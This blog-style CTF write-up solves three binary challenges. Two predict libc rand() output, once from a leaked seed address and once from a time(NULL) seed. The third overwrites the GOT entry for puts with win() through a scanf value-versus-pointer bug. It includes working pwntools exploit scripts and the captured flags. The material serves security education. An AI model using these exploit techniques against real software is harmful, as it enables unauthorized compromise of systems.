Random Number You Say? Let's Break Them!
by Francesco#Guessing Random Numbers in CTF
Although the challenges are a bit old, I think they are instructive since they include both cases (with a leaked seed, and without a leak). I’m talking about unlucky of tamuCTF of 2023 and random of TFC CTF of 2023, and a bonus chall that involves srand and rand!
Unlucky
Starting with the easier case (both easy tbh), starting from reversing it:
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rax = *(fsbase + 0x28);
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 2, 0);
srand(&seed.0);
printf("Here's a lucky number: %p\n", main);
int32_t var_68 = 1;
int32_t var_6c = 0;
for (int32_t var_64 = 1; var_64 <= 7; var_64 = (var_64 + 1))
{
printf("Enter lucky number #%d:\n", var_64);
__isoc99_scanf(&data_203c, &var_6c);
if (rand() != var_6c)
{
var_68 = 0;
}
}
if (var_68 == 0)
{
puts("How unlucky :pensive:");
}
else
{
int64_t var_58;
__builtin_memset(var_58, 0, 0x40);
fread(&var_58, 1, 0x40, fopen("flag.txt", &data_203f));
printf("Nice work, here's the flag: %s\n", &var_58);
}
*(fsbase + 0x28);
if (rax == *(fsbase + 0x28))
{
return 0;
}
__stack_chk_fail();
/* no return */
} We are asked for 7 numbers, if all of them are correct we will get the content of flag.txt. The program use as a seed the address of a static int, we can't see here but in gdb with dynamic debugging we can retrieve the int.
0x0000555555558068 seed So examining it:
pwndbg> x/x 0x0000555555558068
0x555555558068 <seed.2870>: 0x00000045 0x45 = 69, so is like srand(&69)... Analyzing the leak: We know that our seed is located @ 0x555555558068 (on GDB), on the other hand we got a leak with this address: 0x5555555551a5, that is the entry point of main function, the distance between these addresses is:
pwndbg> p 0x555555558068-0x5555555551a5
$1 = 11971
So we run the binary, grep the leak, add 11971 generate 7 numbers and then we need to send them… An example of helper program in c is:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char *argv[]) {
int num[10];
if (argc != 2) {
printf("Usage: %s <seed>\n", argv[0]);
return 1;
}
int seed = atoi(argv[1]);
srand(seed);
printf("Casual Numbers generated with Seed %d: ", seed);
for (int i = 0; i < 10; i++) {
printf("%d ", rand());
}
return 0;
}
And this is my solver script:
import os
import time
from pwn import *
context.log_level='debug'
#p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
elf = ELF('./unlucky')
p = elf.process()
junk = p.recvuntil("Here's a lucky number: ")
main = int(p.recv(15),16)
print(main)
distance = 11971
dis = 0x2EC3
file = "output.txt"
seed = main + dis
cmd = f"./helper {seed}"
os.system(cmd)
num = []
with open(file,"r") as f:
for i in f:
num.append(i)
for k in num:
time.sleep(2)
p.sendline(k)
print(p.recvallS())
If someone didn’t want to go through c but directly from python, he had to write something like this:
from ctypes import CDLL
from ctypes.util import find_library
libc = CDLL(find_library("c"))
libc.srand(seed)
str(libc.rand()).encode()
Running it we get:
Enter lucky number #1:
Enter lucky number #2:
Enter lucky number #3:
Enter lucky number #4:
Enter lucky number #5:
Enter lucky number #6:
Enter lucky number #7:
Nice work, here's the flag: gigem{1_n33d_b3tt3r_3ntr0py_s0urc3s}
Random
The main difference between the two challs is that srand argument is time(NULL)
, that return the number (after conversion) of seconds since about midnight 1970-01-01. That number changes every second, so guarantees a new sequence of “random” numbers every time your program runs, right??? But we are hackers and we need to break it, I wrote another helper file that is quite similar to the other:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
int i;
int num[10];
srand(time(NULL));
for (i = 0; i < 10; i++) {
num[i] = rand();
}
FILE *file = fopen("numeri_casuali.txt", "w");
if (file == NULL) {
printf("Impossible to open the file.\n");
return 1;
}
for (i = 0; i < 10; i++) {
fprintf(file, "%d\n", num[i]);
}
fclose(file);
printf("Numbers saved in 'numeri_casuali.txt'.\n");
return 0;
}
And python solver is:
from pwn import *
import os
context.log_level = 'debug'
elf = context.binary = ELF("./random")
ip, port = "challs.tfcctf.com", 32731
io = remote(ip, port)
os.system("./rand")
num = []
with open("numeri_casuali.txt", "r") as f:
for l in f:
num.append(l)
for i in num:
io.sendline(str(i))
io.interactive()
Because every second the numbers generated are different we need to run simultaneously our program and the binary. Running the exploit we get our shell (this time there was a win function, in the other binary we get directly the content of flag.txt)
$ cat flag*
TFCCTF{W0W!_Y0U_GU3SS3D_TH3M_4LL!@!}
Bonus: Randomness (Tamu CTF)
What if we are given the opportunity to enter a seed and a guess? Seems easy right? RIGHT? This time we are going to exploit a different vulnerability… We have the source code :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char* argv[] = {"/bin/cat", "flag.txt", NULL};
execve(argv[0], argv, NULL);
}
void foo() {
unsigned long seed;
puts("Enter a seed:");
scanf("%lu", &seed);
srand(seed);
}
void bar() {
unsigned long a;
puts("Enter your guess:");
scanf("%lu", a);
if (rand() == a) {
puts("correct!");
} else {
puts("incorrect!");
}
}
int main() {
puts("hello!");
foo();
bar();
puts("goodbye!");
}
Code Review: There is a win function, but this time is not called anywhere, reading again the description
I made this program to test how srand and rand work, but it keeps segfaulting. I don't read compiler warnings so I can't figure out why it's broken.
Gives us an hint where the problem may lay, compiling it:
randomness.c: In function ‘bar’:
randomness.c:21:14: warning: format ‘%lu’ expects argument of type ‘long unsigned int *’, but argument 2 has type ‘long unsigned int’ [-Wformat=]
21 | scanf("%lu", a);
| ~~^ ~
| | |
| | long unsigned int
| long unsigned int *
The scanf() in bar() requires a pointer to a destination, but we are passing the value of the destination. Running the program in gdb to see how arguments are passed I noticed that the value that we insert within the foo() function will be also the value of a (since a is uninitialized) in the scanf(). So we have the opportunity to write an arbitrary integer everywhere,(kinda good primitive!), we can overwrite a function to be win(). We can take advantage of the intensive use of puts, and because a call to puts is after the execution of bar() we will exploit it!
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('./randomness')
io = elf.process()
puts = str(elf.got['puts']).encode()
win = str(elf.sym['win']).encode()
io.sendline(puts)
io.sendline(win)
io.interactive()
Running it we get:
hello!
Enter a seed:
Enter your guess:
gigem{value_or_pointer_is_an_important_distinction}
Thanks for reading!
If you have any question, want to ask me anything or give me any advice, just contact me and I will be super-available to answer to all of you! Hope to see you again!
tags: Hacking - Pwn